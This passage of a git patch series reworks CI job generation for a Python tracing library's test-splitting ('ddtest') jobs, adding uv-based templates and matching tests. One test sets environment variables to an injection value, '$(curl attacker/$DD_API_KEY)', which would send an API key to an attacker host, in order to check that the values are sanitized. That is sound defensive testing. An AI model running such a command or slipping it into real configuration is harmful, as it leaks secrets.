PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 4; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ - "${RIOT_HASH}" + "${TEST_ENVIRONMENT_HASH}" .ddtest_run_snapshot: extends: .ddtest_base_snapshot script: - | rm -rf .testoptimization - mv ".testoptimization-${RIOT_HASH}" .testoptimization - export COVERAGE_FILE=".coverage.${RIOT_HASH}.${CI_NODE_INDEX}" + mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization + export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" riot_cmd=(riot -P -v run --pass-env -s) # Snapshot suites use --ci-node-workers 1 (not 4): the shared testagent # is session-token-keyed, and parallel xdist workers cause cross-session # contamination (wrong stats, '400: list index out of range'). "${riot_cmd[@]}" --command \ 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 1; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ - "${RIOT_HASH}" + "${TEST_ENVIRONMENT_HASH}" # Required jobs will appear here diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py index 774deda469e..2f1785045b5 100644 --- a/scripts/ddtest_jobs.py +++ b/scripts/ddtest_jobs.py @@ -94,13 +94,13 @@ def emit_ddtest_jobs( stage: str, clean_name: str, config: dict, - venvs: list[tuple[str, str]], + environments: list[tuple[str, str]], k: int, testrunner_image_hash: str, ) -> None: """Emit ddtest-plan and ddtest-run jobs for one suite. - One plan job loops over all suite venvs. Run jobs are emitted per Python + One plan job loops over all suite environments. Run jobs are emitted per Python version, with a parallel matrix over that version's hashes and CI_NODE_INDEX. The plan partitions its artifact by hash so run jobs can restore only their own plan. @@ -168,7 +168,7 @@ def emit_cache() -> None: print(" paths:", file=f) print(" - .cache", file=f) - def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: + def emit_needs_build_base_venvs(needed_environments: list[tuple[str, str]]) -> None: print(" - job: build_base_venvs", file=f) print(" artifacts: true", file=f) print(" parallel:", file=f) @@ -176,7 +176,7 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: # Dedup PYTHON_VERSIONs: several hashes share a Python version, but # build_base_venvs only needs to be downloaded once per version. seen_py: set[str] = set() - for _h, py in needed_venvs: + for _h, py in needed_environments: if py in seen_py: continue seen_py.add(py) @@ -192,15 +192,13 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: emit_cache() print(" needs:", file=f) print(" - prechecks", file=f) - emit_needs_build_base_venvs(venvs) + emit_needs_build_base_venvs(environments) emit_services(plan=True) emit_before_script(plan=True) - riot_hashes = " ".join(h for h, _ in venvs) emit_variables( { "DDTEST_NODES": str(k), - "RIOT_HASHES": riot_hashes, - "RIOT_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in venvs), + "TEST_ENVIRONMENT_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in environments), "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", } ) @@ -217,11 +215,11 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: # so emit one run job per Python version instead of dynamically matching a # need from the run matrix. This keeps each run job's artifact download # limited to its own build_base_venvs matrix entry. - venvs_by_py: dict[str, list[tuple[str, str]]] = {} - for venv in venvs: - venvs_by_py.setdefault(venv[1], []).append(venv) + environments_by_python: dict[str, list[tuple[str, str]]] = {} + for environment in environments: + environments_by_python.setdefault(environment[1], []).append(environment) - for py, py_venvs in venvs_by_py.items(): + for py, python_environments in environments_by_python.items(): py_run_name = f"{run_name}-{py}" print(f"{py_run_name}:", file=f) print(f" extends: {run_tpl}", file=f) @@ -229,7 +227,7 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: emit_cache() print(" needs:", file=f) print(" - prechecks", file=f) - emit_needs_build_base_venvs(py_venvs) + emit_needs_build_base_venvs(python_environments) # Each run downloads the single plan artifact (which contains all # hashes' plans, partitioned by hash) and restores its own hash's plan. print(" - job: " + plan_name, file=f) @@ -239,9 +237,9 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: emit_variables({"DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"}) print(" parallel:", file=f) print(" matrix:", file=f) - for h, _py in py_venvs: + for h, _py in python_environments: for node in range(k): - print(f' - RIOT_HASH: "{h}"', file=f) + print(f' - TEST_ENVIRONMENT_HASH: "{h}"', file=f) print(f' PYTHON_VERSION: "{py}"', file=f) print(f" CI_NODE_INDEX: {node}", file=f) if retry is not None: diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index 431fcef6b07..1853f8847de 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -96,7 +96,7 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): stage="core", clean_name="internal", config={"env": {"_DD_PYTEST_XDIST_INFERRED_SERVICE": "tests.internal"}}, - venvs=[("abc1234", "3.13"), ("def5678", "3.14")], + environments=[("abc1234", "3.13"), ("def5678", "3.14")], k=1, testrunner_image_hash="image-hash", ) @@ -106,7 +106,7 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): assert "PIP_CACHE_DIR: ${CI_PROJECT_DIR}/.cache/pip" in content assert "PIP_CACHE_KEY: pip-key" in content assert "key: v1-pip-${PIP_CACHE_KEY}-image-hash-cache" in content - assert "RIOT_HASH_PYTHON: abc1234:3.13 def5678:3.14" in content + assert "TEST_ENVIRONMENT_HASH_PYTHON: abc1234:3.13 def5678:3.14" in content run_313_needs = content.split("core/internal::ddtest-run-3.13:", 1)[1].split("\n parallel:\n", 1)[0] run_314_needs = content.split("core/internal::ddtest-run-3.14:", 1)[1].split("\n parallel:\n", 1)[0] assert 'PYTHON_VERSION: "3.13"' in run_313_needs From fa94b6922c08df1cb349a11d2b372dd5827a3816 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Thu, 3 Sep 2026 12:28:53 +0200 Subject: [PATCH 12/15] fix(ci): preserve suite command in uv ddtest jobs --- .gitlab/tests.yml | 60 ++++++++++++++++++++++++ scripts/ddtest_jobs.py | 58 +++++++++++++++-------- scripts/gen_gitlab_config.py | 45 ++++++++++++++---- tests/internal/test_gen_gitlab_config.py | 38 ++++++++++++++- tests/suitespec.yml | 8 ++++ 5 files changed, 180 insertions(+), 29 deletions(-) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index f6f0a2e89d9..00a34c6e5fa 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -115,6 +115,66 @@ include: ./scripts/check-diff ".riot/requirements/" \ "Changes detected in committed test locks. Run scripts/compile-and-prune-test-requirements and commit the result." +# --------------------------------------------------------------------------- +# AIDEV-NOTE: DDTest must receive the complete suitespec command. Falling back +# to bare pytest bypasses per-suite exclusions and can select unavailable tools. +# DDTest's uv backend is intentionally self-contained: it creates an ephemeral +# environment from the suite lock and runs the exact suite command emitted by +# suitespec. This keeps DDTest out of scripts/run-tests. +.ddtest_base_uv: + extends: .test_base_uv + +.ddtest_plan_uv: + extends: .ddtest_base_uv + script: + - | + set -euo pipefail + for metadata in ${TEST_ENVIRONMENT_HASH_PYTHON}; do + IFS=: read -r environment_hash python_version lockfile tests_location <<< "${metadata}" + command_var="DDTEST_UV_COMMAND_${environment_hash}" + env_var="DDTEST_UV_ENV_${environment_hash}" + requirements="$(mktemp)" + grep -vi '^ddtrace==' "${lockfile}" > "${requirements}" + wheel="$(find ".cache/ddtrace-test-wheels/${python_version}" -name 'ddtrace-*.whl' -print -quit)" + set -f + export ${!env_var} + set +f + uv run --isolated --no-project --python "python${python_version}" --no-python-downloads \ + --with-requirements "${requirements}" --with "${wheel}" \ + ddtest plan --platform python --framework pytest --command "${!command_var}" \ + --tests-location "${tests_location}" --min-parallelism "${DDTEST_NODES}" --max-parallelism "${DDTEST_NODES}" + rm -f "${requirements}" + mv .testoptimization ".testoptimization-${environment_hash}" + done + artifacts: + when: always + paths: + - .testoptimization-*/ + expire_in: 1 week + +.ddtest_run_uv: + extends: .ddtest_base_uv + script: + - | + set -euo pipefail + rm -rf .testoptimization + mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization + command_var="DDTEST_UV_COMMAND_${TEST_ENVIRONMENT_HASH}" + env_var="DDTEST_UV_ENV_${TEST_ENVIRONMENT_HASH}" + requirements="$(mktemp)" + grep -vi '^ddtrace==' "${TEST_ENVIRONMENT_LOCKFILE}" > "${requirements}" + wheel="$(find ".cache/ddtrace-test-wheels/${PYTHON_VERSION}" -name 'ddtrace-*.whl' -print -quit)" + set -f + export ${!env_var} + set +f + export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" + uv run --isolated --no-project --python "python${PYTHON_VERSION}" --no-python-downloads \ + --with-requirements "${requirements}" --with "${wheel}" \ + ddtest run --platform python --framework pytest --command "${!command_var}" \ + --ci-node "${CI_NODE_INDEX}" --ci-node-workers 1 + rm -f "${requirements}" + coverage combine || true + # --------------------------------------------------------------------------- # ddtest job templates. Used by gen_gitlab_config.py for suites with # `ddtest: true` in suitespec. ddtest owns plan/run + file splitting; riot diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py index 2f1785045b5..3345e4aef14 100644 --- a/scripts/ddtest_jobs.py +++ b/scripts/ddtest_jobs.py @@ -27,9 +27,11 @@ def _get_bool_env(name: str) -> str: return "true" if value == "true" else "false" -def validate_ddtest_venv_test_locations(suite: str, info) -> None: - """Reject ddtest suites whose matched venvs do not declare a test location.""" - missing = [h for h, _py in info.riot_venvs if not (info.venv_test_locations or {}).get(h)] +def validate_ddtest_venv_test_locations( + suite: str, environments: t.Iterable[tuple[str, str]], test_locations: t.Optional[dict[str, str]] +) -> None: + """Reject ddtest suites whose selected environments lack a test location.""" + missing = [h for h, _py in environments if not (test_locations or {}).get(h)] if missing: raise ValueError(f"ddtest suite {suite} has venvs without DDTEST_TESTS_LOCATION: {', '.join(missing)}") @@ -58,9 +60,9 @@ def ddtest_k(config: dict) -> int: return int(k) -def _ddtest_base(snapshot: bool, gpu: bool) -> str: +def _ddtest_base(snapshot: bool, gpu: bool, runner: str) -> str: """Return the hidden base template a ddtest suite's before_script references.""" - base = ".ddtest_base" + base = ".ddtest_base_uv" if runner == "uv" else ".ddtest_base" if gpu: base += "_gpu" if snapshot: @@ -68,19 +70,19 @@ def _ddtest_base(snapshot: bool, gpu: bool) -> str: return base -def _ddtest_plan_template(gpu: bool) -> str: +def _ddtest_plan_template(gpu: bool, runner: str) -> str: """Plan template. Plan only collects (glob + Datadog API); it sends no traces, so it never needs the testagent and has no snapshot variant — snapshot suites and non-snapshot suites plan the same way. """ - tpl = ".ddtest_plan" + tpl = ".ddtest_plan_uv" if runner == "uv" else ".ddtest_plan" if gpu: tpl += "_gpu" return tpl -def _ddtest_run_template(snapshot: bool, gpu: bool) -> str: - tpl = ".ddtest_run" +def _ddtest_run_template(snapshot: bool, gpu: bool, runner: str) -> str: + tpl = ".ddtest_run_uv" if runner == "uv" else ".ddtest_run" if gpu: tpl += "_gpu" if snapshot: @@ -97,6 +99,8 @@ def emit_ddtest_jobs( environments: list[tuple[str, str]], k: int, testrunner_image_hash: str, + runner: str, + uv_metadata: t.Optional[dict[str, tuple[str, str, str, str]]] = None, ) -> None: """Emit ddtest-plan and ddtest-run jobs for one suite. @@ -118,10 +122,10 @@ def emit_ddtest_jobs( env["PIP_CACHE_KEY"] = ( subprocess.check_output([".gitlab/scripts/get-riot-pip-cache-key.sh", suite_name]).decode().strip() ) - base = _ddtest_base(snapshot, gpu) - plan_base = _ddtest_base(False, gpu) # plan never needs the testagent - plan_tpl = _ddtest_plan_template(gpu) - run_tpl = _ddtest_run_template(snapshot, gpu) + base = _ddtest_base(snapshot, gpu, runner) + plan_base = _ddtest_base(False, gpu, runner) # plan never needs the testagent + plan_tpl = _ddtest_plan_template(gpu, runner) + run_tpl = _ddtest_run_template(snapshot, gpu, runner) job_prefix = f"{stage}/{clean_name.replace('::', '/')}" plan_name = f"{job_prefix}::ddtest-plan" run_name = f"{job_prefix}::ddtest-run" @@ -195,13 +199,20 @@ def emit_needs_build_base_venvs(needed_environments: list[tuple[str, str]]) -> N emit_needs_build_base_venvs(environments) emit_services(plan=True) emit_before_script(plan=True) - emit_variables( - { - "DDTEST_NODES": str(k), - "TEST_ENVIRONMENT_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in environments), - "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", - } + metadata = uv_metadata or {} + hash_python = " ".join( + f"{h}:{py}:{metadata[h][0]}:{metadata[h][1]}" if runner == "uv" else f"{h}:{py}" for h, py in environments ) + extra_variables = { + "DDTEST_NODES": str(k), + "TEST_ENVIRONMENT_HASH_PYTHON": hash_python, + "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", + } + if runner == "uv": + for hash_, (_lockfile, _location, command, environment) in metadata.items(): + extra_variables[f"DDTEST_UV_COMMAND_{hash_}"] = command + extra_variables[f"DDTEST_UV_ENV_{hash_}"] = environment + emit_variables(extra_variables) if retry is not None: print(f" retry: {retry}", file=f) if timeout is not None: @@ -234,13 +245,20 @@ def emit_needs_build_base_venvs(needed_environments: list[tuple[str, str]]) -> N print(" artifacts: true", file=f) emit_services(plan=False) emit_before_script(plan=False) - emit_variables({"DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"}) + run_variables = {"DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"} + if runner == "uv": + for hash_, (_lockfile, _location, command, environment) in metadata.items(): + run_variables[f"DDTEST_UV_COMMAND_{hash_}"] = command + run_variables[f"DDTEST_UV_ENV_{hash_}"] = environment + emit_variables(run_variables) print(" parallel:", file=f) print(" matrix:", file=f) for h, _py in python_environments: for node in range(k): print(f' - TEST_ENVIRONMENT_HASH: "{h}"', file=f) print(f' PYTHON_VERSION: "{py}"', file=f) + if runner == "uv": + print(f' TEST_ENVIRONMENT_LOCKFILE: "{metadata[h][0]}"', file=f) print(f" CI_NODE_INDEX: {node}", file=f) if retry is not None: print(f" retry: {retry}", file=f) diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index 7ac688c6cd1..b084c15bb56 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -198,9 +198,11 @@ class SuiteVenvInfo: venv_count: int python_versions: set[str] environment_hashes: tuple[str, ...] = () - # Riot metadata used to generate ddtest plan and run jobs. + # Runner-specific metadata used to generate DDTest plan and run jobs. riot_venvs: tuple[tuple[str, str], ...] = () + uv_venvs: tuple[tuple[str, str], ...] = () venv_test_locations: t.Optional[dict[str, str]] = None + uv_metadata: t.Optional[dict[str, tuple[str, str, str, str]]] = None # Module-level state: populated by gen_required_suites, consumed by gen_build_base_venvs @@ -232,7 +234,7 @@ def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, Sui compiled: dict[str, re.Pattern] = {} for suite, config in suite_configs.items(): - if suite in UV_TEST_SUITES: + if suite in UV_TEST_SUITES and not config.get("ddtest"): continue pattern = config.get("pattern", suite) try: @@ -279,10 +281,27 @@ def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, Sui if suite not in suite_configs: continue environments = uv_environments[suite] + uv_metadata = {} + for environment in environments: + if len(environment.runs) != 1: + raise ValueError(f"ddtest uv suite {suite} must have one command per environment") + run = environment.runs[0] + command = run.command.replace("{cmdargs}", "") + for name, value in run.environment.items(): + command = command.replace(f"${{{{{name}}}}}", value) + uv_metadata[environment.hash] = ( + environment.lockfile, + run.environment.get("DDTEST_TESTS_LOCATION", ""), + command, + " ".join(f"{name}={value}" for name, value in run.environment.items()), + ) result[suite] = SuiteVenvInfo( venv_count=len(environments), python_versions={environment.python for environment in environments}, environment_hashes=tuple(environment.hash for environment in environments), + uv_venvs=tuple((environment.hash, environment.python) for environment in environments), + venv_test_locations={hash_: metadata[1] for hash_, metadata in uv_metadata.items()}, + uv_metadata=uv_metadata, ) return result @@ -549,7 +568,10 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: for suite in non_skipped: if not suites[suite].get("ddtest") or suite not in suite_venv_info: continue - _ddtest_module().validate_ddtest_venv_test_locations(suite, suite_venv_info[suite]) + info = suite_venv_info[suite] + _ddtest_module().validate_ddtest_venv_test_locations( + suite, info.uv_venvs if suite in UV_TEST_SUITES else info.riot_venvs, info.venv_test_locations + ) # Populate the module-level global so gen_build_base_venvs can use it _global_python_versions = set() @@ -605,21 +627,28 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: py_versions = suite_venv_info[suite].python_versions if suite in suite_venv_info else None if suite_config.get("ddtest"): - riot_venvs = suite_venv_info[suite].riot_venvs if suite in suite_venv_info else () - if not riot_venvs: - LOGGER.warning("Suite %s opted into ddtest but has no Riot environments; skipping", suite) + info = suite_venv_info.get(suite) + if info is None: + LOGGER.warning("Suite %s opted into ddtest but has no environments; skipping", suite) + continue + runner = "uv" if suite in UV_TEST_SUITES else "riot" + environments = info.uv_venvs if runner == "uv" else info.riot_venvs + if not environments: + LOGGER.warning("Suite %s opted into ddtest but has no %s environments; skipping", suite, runner) continue k = _ddtest_module().ddtest_k(suite_config) - LOGGER.info("Suite %s: ddtest Riot runner (venvs=%d, nodes/venv=%d)", suite, len(riot_venvs), k) + LOGGER.info("Suite %s: ddtest %s runner (venvs=%d, nodes/venv=%d)", suite, runner, len(environments), k) _ddtest_module().emit_ddtest_jobs( f, suite, stage, clean_name, suite_config, - list(riot_venvs), + list(environments), k, TESTRUNNER_IMAGE_HASH, + runner, + info.uv_metadata, ) continue diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index 1853f8847de..0e6996f3fac 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -82,7 +82,9 @@ def test_ddtest_requires_a_test_path_for_every_venv(gen_gitlab_config_mod): ) with pytest.raises(ValueError, match="hash-without-path"): - gen_gitlab_config_mod._ddtest_module().validate_ddtest_venv_test_locations("internal", info) + gen_gitlab_config_mod._ddtest_module().validate_ddtest_venv_test_locations( + "internal", info.riot_venvs, info.venv_test_locations + ) def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): @@ -99,6 +101,7 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): environments=[("abc1234", "3.13"), ("def5678", "3.14")], k=1, testrunner_image_hash="image-hash", + runner="riot", ) content = output.getvalue() @@ -115,6 +118,39 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): assert 'PYTHON_VERSION: "3.13"' not in run_314_needs +def test_ddtest_uv_jobs_preserve_the_suite_command(gen_gitlab_config_mod): + output = io.StringIO() + ddtest_jobs = gen_gitlab_config_mod._ddtest_module() + metadata = { + "uv123": ( + ".riot/requirements/uv123.txt", + "tests/tracer/**/test*.py", + "pytest -v --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/", + "PYTHONOPTIMIZE=1", + ) + } + + with mock.patch.object(ddtest_jobs.subprocess, "check_output", return_value=b"pip-key\n"): + ddtest_jobs.emit_ddtest_jobs( + output, + suite="tracer", + stage="core", + clean_name="tracer", + config={"env": {}}, + environments=[("uv123", "3.12")], + k=1, + testrunner_image_hash="image-hash", + runner="uv", + uv_metadata=metadata, + ) + + content = output.getvalue() + assert "extends: .ddtest_plan_uv" in content + assert "extends: .ddtest_run_uv" in content + assert "DDTEST_UV_COMMAND_uv123: pytest -v --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/" in content + assert "DDTEST_UV_ENV_uv123: PYTHONOPTIMIZE=1" in content + + def test_build_base_venvs_template_gets_sanitized_bool_values(gen_gitlab_config_mod, monkeypatch, tmp_path): monkeypatch.setenv("NIGHTLY_BUILD", "$(curl attacker/$DD_API_KEY)") monkeypatch.setenv("UNPIN_DEPENDENCIES", "$(curl attacker/$DD_API_KEY)") diff --git a/tests/suitespec.yml b/tests/suitespec.yml index 3d558995f46..1d5acfa727f 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -289,8 +289,13 @@ suites: - tests/snapshots/tests.telemetry.* snapshot: true tracer: + ddtest: true + ddtest_nodes: 2 env: DD_TRACE_AGENT_URL: http://localhost:8126 + DDTEST_SUITE_PATH: tests/tracer + DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py + DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py KUBERNETES_MEMORY_REQUEST: "4Gi" KUBERNETES_MEMORY_LIMIT: "4Gi" paths: @@ -314,6 +319,9 @@ suites: DD_CIVISIBILITY_LOG_LEVEL: none DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' + DDTEST_SUITE_PATH: tests/tracer + DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py + DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py variants: - name: tracer dependencies: [msgpack, attrs, structlog, httpretty, wheel, fastapi, 'httpx<0.28.0', pytest-randomly, setuptools, boto3, freezegun] From 8f1e671e077092cebf1d9f05d7ca6cf51dfe1706 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Thu, 3 Sep 2026 12:58:53 +0200 Subject: [PATCH 13/15] fix(ci): retain ddtrace in uv ddtest jobs --- riotfile.py | 5 ++++- scripts/gen_gitlab_config.py | 4 +++- tests/internal/test_gen_gitlab_config.py | 5 ++++- tests/suitespec.yml | 3 +++ 4 files changed, 14 insertions(+), 3 deletions(-) diff --git a/riotfile.py b/riotfile.py index 4e489454e6e..3bd2cc10894 100644 --- a/riotfile.py +++ b/riotfile.py @@ -419,7 +419,7 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="tracer", - command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/", + command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py ${{DDTEST_SUITE_PATH}}/", pkgs={ "msgpack": latest, "coverage": latest, @@ -435,6 +435,9 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "freezegun": latest, }, env={ + "DDTEST_SUITE_PATH": "tests/tracer", + "DDTEST_TESTS_LOCATION": "tests/tracer/**/test*.py", + "DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN": "tests/tracer/test_uwsgi_shutdown.py", "DD_CIVISIBILITY_LOG_LEVEL": "none", "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", "_DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS": "50", diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index b084c15bb56..e13433108a1 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -286,7 +286,9 @@ def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, Sui if len(environment.runs) != 1: raise ValueError(f"ddtest uv suite {suite} must have one command per environment") run = environment.runs[0] - command = run.command.replace("{cmdargs}", "") + # Normal UV jobs pass --ddtrace through scripts/run-tests. DDTest invokes + # the command directly, so preserve that runner argument explicitly. + command = run.command.replace("{cmdargs}", "--ddtrace") for name, value in run.environment.items(): command = command.replace(f"${{{{{name}}}}}", value) uv_metadata[environment.hash] = ( diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index 0e6996f3fac..770859bf5c6 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -147,7 +147,10 @@ def test_ddtest_uv_jobs_preserve_the_suite_command(gen_gitlab_config_mod): content = output.getvalue() assert "extends: .ddtest_plan_uv" in content assert "extends: .ddtest_run_uv" in content - assert "DDTEST_UV_COMMAND_uv123: pytest -v --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/" in content + assert ( + "DDTEST_UV_COMMAND_uv123: pytest -v --ddtrace --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/" + in content + ) assert "DDTEST_UV_ENV_uv123: PYTHONOPTIMIZE=1" in content diff --git a/tests/suitespec.yml b/tests/suitespec.yml index 1d5acfa727f..6d2b4b04ed5 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -351,6 +351,9 @@ suites: matrix: command: pytest -v {cmdargs} tests/tracer/test_uwsgi_shutdown.py env: + DDTEST_SUITE_PATH: tests/tracer + DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py + DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py DD_CIVISIBILITY_LOG_LEVEL: none DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' From ba5372304af8df340c0707f8d3003189b21ecebc Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Thu, 3 Sep 2026 13:45:54 +0200 Subject: [PATCH 14/15] fix(ci): preserve tracer service under ddtest --- riotfile.py | 1 + tests/internal/test_gen_gitlab_config.py | 5 +---- tests/suitespec.yml | 2 ++ 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/riotfile.py b/riotfile.py index 3bd2cc10894..4e02102bde4 100644 --- a/riotfile.py +++ b/riotfile.py @@ -438,6 +438,7 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "DDTEST_SUITE_PATH": "tests/tracer", "DDTEST_TESTS_LOCATION": "tests/tracer/**/test*.py", "DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN": "tests/tracer/test_uwsgi_shutdown.py", + "_DD_PYTEST_XDIST_INFERRED_SERVICE": "tests.tracer", "DD_CIVISIBILITY_LOG_LEVEL": "none", "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", "_DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS": "50", diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index 770859bf5c6..0e6996f3fac 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -147,10 +147,7 @@ def test_ddtest_uv_jobs_preserve_the_suite_command(gen_gitlab_config_mod): content = output.getvalue() assert "extends: .ddtest_plan_uv" in content assert "extends: .ddtest_run_uv" in content - assert ( - "DDTEST_UV_COMMAND_uv123: pytest -v --ddtrace --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/" - in content - ) + assert "DDTEST_UV_COMMAND_uv123: pytest -v --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/" in content assert "DDTEST_UV_ENV_uv123: PYTHONOPTIMIZE=1" in content diff --git a/tests/suitespec.yml b/tests/suitespec.yml index 6d2b4b04ed5..dc5003b328c 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -296,6 +296,7 @@ suites: DDTEST_SUITE_PATH: tests/tracer DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py + _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.tracer KUBERNETES_MEMORY_REQUEST: "4Gi" KUBERNETES_MEMORY_LIMIT: "4Gi" paths: @@ -354,6 +355,7 @@ suites: DDTEST_SUITE_PATH: tests/tracer DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py + _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.tracer DD_CIVISIBILITY_LOG_LEVEL: none DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' From 49780dbf1df374248056174c7ffadb09a3278d55 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Thu, 3 Sep 2026 16:07:36 +0200 Subject: [PATCH 15/15] fix(ci): synchronize tracer uv suite command --- riotfile.py | 2 +- tests/suitespec.yml | 